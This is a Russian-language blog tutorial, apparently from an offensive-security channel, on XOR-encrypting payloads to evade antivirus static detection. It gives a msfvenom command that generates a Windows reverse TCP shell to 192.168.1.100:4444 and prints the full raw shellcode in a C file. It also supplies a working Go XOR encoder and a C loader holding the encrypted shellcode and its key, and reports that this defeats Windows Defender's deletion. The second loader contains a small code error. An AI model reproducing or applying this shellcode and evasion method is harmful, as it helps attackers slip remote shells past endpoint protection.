Это небольшая серия статей про шифрование (обфускацию) полезной нагрузки и других данных для обхода статического анализа кода антивирусом.
Что такое XOR? #
XOR — это логическая операция “исключающее ИЛИ”. Она работает с двумя битами следующим образом:
- Если оба бита одинаковые (0 и 0, или 1 и 1), результат будет 0.
- Если оба бита разные (0 и 1, или 1 и 0), результат будет 1.

Как работает XOR обфускация? #
Когда мы применяем XOR
для обфускации, мы берём:
- Данные (например, текст или бинарный код).
- Ключ (набор данных, которым мы будем XORить наши данные).
- Каждый байт данных XORится с соответствующим байтом ключа (если ключ короче, он повторяется циклически).
XOR шифрование на уровне битов #
Самый простейший вариант XOR
это когда ключ является каким то одним символом. Для примера ниже сделаем ключ из одного символа A
. А данными которые хотим зашифровать пусть будет строка hello world
.
Пример для первого символа:
Символ h в ASCII = 104, в двоичной системе: 01101000.
Символ A в ASCII = 65, в двоичной системе: 01000001.
01101000 (h)
XOR
01000001 (A)
--------
00101001 (результат в двоичном виде)
Ниже таблица для всей строки hello world
.

HEX
представление hello world
после обфускации XOR
с ключом A
:
29 24 2D 2D 2E 61 36 2E 33 2D 25
Обратимость #
Особеностью XOR
еще является тот факт, что шифрование полностью обратимо с помощью того же ключа, т.е. для шифрования и дешифрования можно использовать одну и туже функцию в коде.
Шифрование:
10101100 (A, данные)
XOR
11010101 (B, ключ)
--------
01111001 (C, зашифрованные данные)
Дешифрование:
01111001 (C, зашифрованные данные)
XOR
11010101 (B, ключ)
--------
10101100 (A, исходные данные)
Дешифрование #
Пример с дешифрованием hex 29 24 2D 2D 2E 61 36 2E 33 2D 25
с помощью ключа A
.

Надёжность XOR #
Шифрование на основе XOR
может быть как очень слабым, так и практически невозможным для взлома, в зависимости от того, какой используется ключ.
- Если ключ короче данных, он повторяется, создавая закономерности. Это делает шифрование уязвимым к частотному анализу.
- Если часть исходного текста известна (например, стандартный заголовок файла), ключ можно восстановить.
Пример атаки #
Представим, что шифруем текст hello world
с коротким ключом key
. Повторяющийся ключ создаёт закономерности:
hello world
keykeykeyke
Частотный анализ дает возможность вычислить повторяющийся ключ, особенно если шифруются большие объёмы данных.
Одноразовый блокнот (One-Time Pad) #
Когда XOR
используется правильно, как в одноразовом блокноте, шифрование становится теоретически нерушимым.
Основные правила:
- Ключ должен быть такой же длины, как данные.
- Ключ должен быть полностью случайным.
- Ключ никогда не должен повторяться.
- Ключ должен быть секретным.
При соблюдении этих условий:
XOR
шифрование гарантирует абсолютную безопасность.- Невозможно взломать зашифрованное сообщение, так как каждая возможная строка одинаково вероятна.
Обфускация payload #
Payload без XOR #
Посмотрим, что будет если сгенерировать shellcode
с помощью msfvenom
, сохранить его как массив байт в код написанный на C
и скомпилированный exe
просто сбросить на диск в Windows 11
c включенным антивирусом.
Подготовим payload:
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f C
В консоль выведется payload
готовый для вставки в C
код.

C loader #
Сохраним его в программу написанную на C
и скомпилируем exe
.
#include <stdio.h>
#include <windows.h>
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\xd3\x37\x0c"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main() {
printf("Data size: %zu\n", sizeof(buf));
printf("Data:\n");
for (int i = 0; i < sizeof(buf); i++) {
printf("0x%02X, ", buf[i]);
}
printf("\n\n");
printf("Press Enter to exit...");
getchar();
return 0;
}
Приведенный выше код просто печатает в консоль массив байт который хранится в buf
. Сама полезная нагрузка никак не запускается.

В настройках антивируса все опции включены, кроме отправки сэмплов в Microsoft
.

Попробуем просто сбросить готовый exe
файл в директорию Downloads
на Windows 11
.

Cтандарный Windows Defender
сразу же распознает сигнатуру metasploit
и моментально удаляет файл с диска, не позволив его даже запустить.
Payload с XOR #
Повторим эксперимент, только на этот раз сохраним shellcode
в файл.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin
Golang xor_encoder #
Теперь, нам надо каким то образом сделать обфускацию полученного shellcode
применив к нему XOR
.
Для этого я написал небольшую программу на Golang
, которая читает shellcode с диска, генерирует случайный ключ длиной 128 бит
,
шифрует данные и печатает в консоль зашифрованный shellcode
в C
формате. Каждый бит полезной нагрузки изменяется отдельным битом ключа и при достижении конца ключа
итерация по ключу начинается сначала.
package main
import (
"crypto/rand"
"encoding/hex"
"flag"
"fmt"
"os"
"strings"
)
// XorEncrypt performs XOR encryption on the payload using the provided key
func XorEncrypt(payload []byte, key []byte) []byte {
payloadSize := len(payload)
encrypted := make([]byte, payloadSize)
// XOR operation
for i, j := 0, 0; i < payloadSize; i++ {
encrypted[i] = payload[i] ^ key[j]
j = (j + 1) % len(key)
}
return encrypted
}
// GenerateRandomKey generates a random key of the specified size in bytes
func GenerateRandomKey(size int) ([]byte, error) {
key := make([]byte, size)
_, err := rand.Read(key)
if err != nil {
return nil, err
}
return key, nil
}
// formatForC generates a C-style array from a byte slice.
func formatForC(data []byte) string {
var builder strings.Builder
for i, b := range data {
builder.WriteString(fmt.Sprintf("0x%02X", b))
if i < len(data)-1 {
builder.WriteString(", ")
}
if (i+1)%8 == 0 {
builder.WriteString("\n\t")
}
}
return builder.String()
}
func main() {
inputPath := flag.String("input", "", "Path to the original shellcode file")
outputPath := flag.String("output", "", "Path to save the encrypted shellcode")
keySize := flag.Int("keysize", 16, "Size of the XOR key in bytes (default: 16)")
customKey := flag.String("key", "", "Custom XOR key in hex format")
flag.Parse()
if *inputPath == "" {
fmt.Println("Usage: xor_encoder -input <path_to_shellcode_file> [-output <path_to_output_file>] [-keysize <size_in_bytes>] [-key <custom_hex_key>]")
return
}
// Read shellcode from the specified file
payload, err := os.ReadFile(*inputPath)
if err != nil {
fmt.Printf("Error reading shellcode file: %v\n", err)
return
}
var key []byte
if *customKey != "" {
key, err = hex.DecodeString(*customKey)
if err != nil {
fmt.Printf("Invalid custom key: %v\n", err)
return
}
if len(key) == 0 {
fmt.Println("Custom key cannot be empty")
return
}
} else {
key, err = GenerateRandomKey(*keySize)
if err != nil {
fmt.Printf("Error generating random key: %v\n", err)
return
}
}
encryptedPayload := XorEncrypt(payload, key)
fmt.Printf("// Encrypted shellcode size: %d bytes\n\n", len(encryptedPayload))
fmt.Printf("unsigned char xor_payload[] = {\n\t%s \n};\n", formatForC(encryptedPayload))
fmt.Printf("unsigned char key[] = {\n\t%s \n};\n", formatForC(key))
if *outputPath != "" {
err = os.WriteFile(*outputPath, encryptedPayload, 0644)
if err != nil {
fmt.Printf("Error writing encrypted shellcode to file: %v\n", err)
return
}
fmt.Printf("\n")
fmt.Printf("[+] Encrypted shellcode saved to: %s\n", *outputPath)
}
}
./xor_encoder -input shellcode.bin
В консоль будет выведено, что-то вроде этого:

C loader #
Сохраним shellcode в наш C loader
и добавим только новую функцию XOR
для расшифровки полезной нагрузки.
#include <stdio.h>
#include <windows.h>
unsigned char xor_payload[] = {
0x26, 0xEE, 0x6E, 0x6A, 0x2E, 0x6F, 0xE7, 0x96,
0xF0, 0x0E, 0x20, 0x2A, 0xE8, 0x95, 0x0B, 0x4F,
0x8C, 0xEE, 0xDC, 0x5C, 0xBB, 0xCF, 0xAC, 0xC4,
0x90, 0x46, 0xEA, 0x29, 0xB1, 0x8D, 0xD2, 0x4C,
0xFA, 0xEE, 0x66, 0xFC, 0x8E, 0xCF, 0x28, 0x21,
0xBA, 0x44, 0x2C, 0x4A, 0x60, 0x8D, 0x68, 0xDE,
0x76, 0x9A, 0x8C, 0xF2, 0xDC, 0xAB, 0x07, 0xD7,
0x31, 0xC7, 0x6C, 0x3A, 0xA8, 0x04, 0xBB, 0xF3,
0x88, 0xE7, 0xBC, 0xC6, 0x55, 0xD5, 0x07, 0x1D,
0xB2, 0x32, 0x29, 0x7A, 0x79, 0x4E, 0xD9, 0x96,
0xDA, 0xA6, 0xED, 0xC6, 0x5B, 0x47, 0x53, 0xF1,
0xB8, 0x0F, 0xB1, 0x2B, 0x22, 0x8D, 0x41, 0x5A,
0x51, 0xE6, 0xCD, 0xC7, 0xDF, 0x57, 0xC4, 0xC0,
0xB8, 0xF1, 0xA8, 0x3A, 0x22, 0xF1, 0xD1, 0x56,
0xDB, 0x70, 0xA0, 0xBF, 0x17, 0xCF, 0x16, 0x56,
0x5C, 0x4F, 0xA0, 0xB2, 0xA4, 0x84, 0x58, 0xDF,
0xE2, 0x46, 0x98, 0x7F, 0x92, 0x84, 0x6B, 0xB2,
0xF8, 0x4B, 0x58, 0xAA, 0xDC, 0x1D, 0x01, 0x5A,
0x51, 0xE6, 0xC9, 0xC7, 0xDF, 0x57, 0x41, 0xD7,
0x7B, 0x02, 0x29, 0x3F, 0x22, 0x85, 0x45, 0x57,
0xDB, 0x76, 0xAC, 0x05, 0xDA, 0x0F, 0x6F, 0x97,
0x20, 0x4F, 0x39, 0x3A, 0xF1, 0x9B, 0x00, 0x44,
0x9B, 0xFE, 0xAC, 0xD7, 0x9F, 0xDD, 0x6F, 0x15,
0x1C, 0x2E, 0x20, 0x29, 0x56, 0x25, 0x01, 0x5F,
0x83, 0xFC, 0xA5, 0x05, 0xCC, 0x6E, 0x70, 0x69,
0x0F, 0xF1, 0x3C, 0x32, 0x17, 0xB2, 0x2A, 0x2C,
0x85, 0x95, 0xDF, 0x8E, 0xDE, 0xC6, 0x71, 0xDF,
0x79, 0xE8, 0x29, 0xFA, 0x45, 0x65, 0x58, 0x1E,
0xDA, 0xEF, 0x64, 0x6B, 0x97, 0x3B, 0x25, 0x96,
0xE1, 0x52, 0x6B, 0xA8, 0x9E, 0xC9, 0x18, 0x4A,
0x93, 0x2F, 0x09, 0xC2, 0x57, 0x76, 0x66, 0x2C,
0xBC, 0x79, 0x47, 0x7C, 0x56, 0x10, 0x15, 0x97,
0x30, 0xCE, 0xEC, 0x8F, 0xDE, 0x87, 0x7E, 0xD7,
0x4A, 0x27, 0xE1, 0x10, 0xA9, 0x3A, 0x8C, 0x4E,
0x8A, 0xEB, 0xDC, 0x47, 0x93, 0xB6, 0xE7, 0xDE,
0x0F, 0xCE, 0x29, 0xF2, 0x6B, 0x8D, 0xA6, 0xDE,
0x92, 0x2F, 0x2C, 0xCF, 0x64, 0x6D, 0x28, 0x49,
0x10, 0xF1, 0xB4, 0x33, 0x20, 0x02, 0x33, 0x0E,
0x9B, 0xFE, 0xA1, 0x07, 0x3C, 0xCF, 0xAE, 0x6F,
0xB1, 0xB4, 0xF8, 0xDE, 0xDD, 0xA4, 0xA6, 0xCB,
0x92, 0x27, 0x29, 0xCE, 0xDC, 0x87, 0x27, 0xDF,
0x48, 0x6D, 0x0C, 0x1F, 0xA9, 0xC5, 0x59, 0x1E,
0xDA, 0xE7, 0xBD, 0xCF, 0x8E, 0xCF, 0xAE, 0x74,
0xA7, 0x59, 0x36, 0x36, 0x98, 0x05, 0x33, 0x13,
0x83, 0xE7, 0xBD, 0x6C, 0x22, 0xE1, 0xE0, 0xD2,
0xD4, 0x5A, 0x60, 0x7A, 0xE1, 0x48, 0x1D, 0x3A,
0xC2, 0x60, 0xED, 0xE6, 0x96, 0x0E, 0xC1, 0xC0,
0xA0, 0x4F, 0x31, 0x3A, 0xF9, 0x84, 0x09, 0x57,
0x25, 0x66, 0xAC, 0xDE, 0x97, 0x78, 0xEF, 0xDB,
0x79, 0xCF, 0x2D, 0xF2, 0x68, 0x84, 0xE3, 0x67,
0x16, 0x99, 0x6B, 0x71, 0x0B, 0xCF, 0x16, 0x44,
0xB8, 0xF1, 0xAB, 0xF0, 0xA7, 0x84, 0xE3, 0x16,
0x5D, 0xBB, 0x8D, 0x71, 0x0B, 0x3C, 0xD7, 0x23,
0x52, 0x58, 0x20, 0xC1, 0x0F, 0x50, 0xE4, 0x83,
0x25, 0x73, 0xA5, 0x0D, 0x1A, 0xAF, 0x1B, 0x90,
0x8C, 0x04, 0xE1, 0x80, 0x49, 0xB0, 0x5C, 0xA5,
0x9D, 0xB5, 0x9F, 0xE1, 0xB4, 0x87, 0x7E, 0xD7,
0x79, 0xD4, 0x9E, 0xAE
};
unsigned char key[] = {
0xDA, 0xA6, 0xED, 0x8E, 0xDE, 0x87, 0x27, 0x96,
0xF0, 0x0E, 0x61, 0x7B, 0xA9, 0xC5, 0x59, 0x1E
};
VOID XOR(IN PBYTE data, IN SIZE_T dataSize, IN PBYTE key, IN SIZE_T keySize) {
for (size_t i = 0, j = 0; i < dataSize; i++, j++) {
if (j >= keySize) {
j = 0;
}
data[i] = data[i] ^ key[j];
}
}
int main() {
printf("Press Enter to decrypt...");
getchar();
XOR(data, sizeof(xor_payload), key, sizeof(key));
printf("Data size: %zu\n", sizeof(xor_payload));
printf("Data:\n");
for (int i = 0; i < sizeof(xor_payload); i++) {
printf("0x%02X, ", xor_payload[i]);
}
printf("\n\n");
printf("Press Enter to exit...");
getchar();
return 0;
}
В этом коде интерес представляет фунция XOR
, которая работает аналогично тому, как это было реализовано в xor_encoder
на Golang
.
VOID XOR(IN PBYTE data, IN SIZE_T dataSize, IN PBYTE key, IN SIZE_T keySize) {
for (size_t i = 0, j = 0; i < dataSize; i++, j++) {
if (j >= keySize) {
j = 0;
}
data[i] = data[i] ^ key[j];
}
}
Скомпилируем код и сохраним exe
файл в Downloads
и попробуем запустить.

В данном случае антивирус все равно заподозрит неладное, но лишь предожит отправить sample в Microsoft
, при это не удалит файл с диска и позволит запустить его.
У вас наверное созрел вопрос, а почему мы не попытались сделать реальный запуск полезной нагрузки, раз антивирус пропустил файл?
Если в код добавить запуск shellcode
стандартным образом, то антивирус моментально стриггериться на такие вызовы Windows API
, как
VirtualAlloc
, CreateThread
, флаг доступа к памяти PAGE_EXECUTE_READWRITE
. Для того, чтобы сделать реальный запуск, придется применять другие техники.
Заключение #
Это была вводная статья на тему обфускации полезной нагрузки и статического анализатора в антивирусе. Я планирую сделать подобные статьи еще для RC4
и AES
шифрования.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!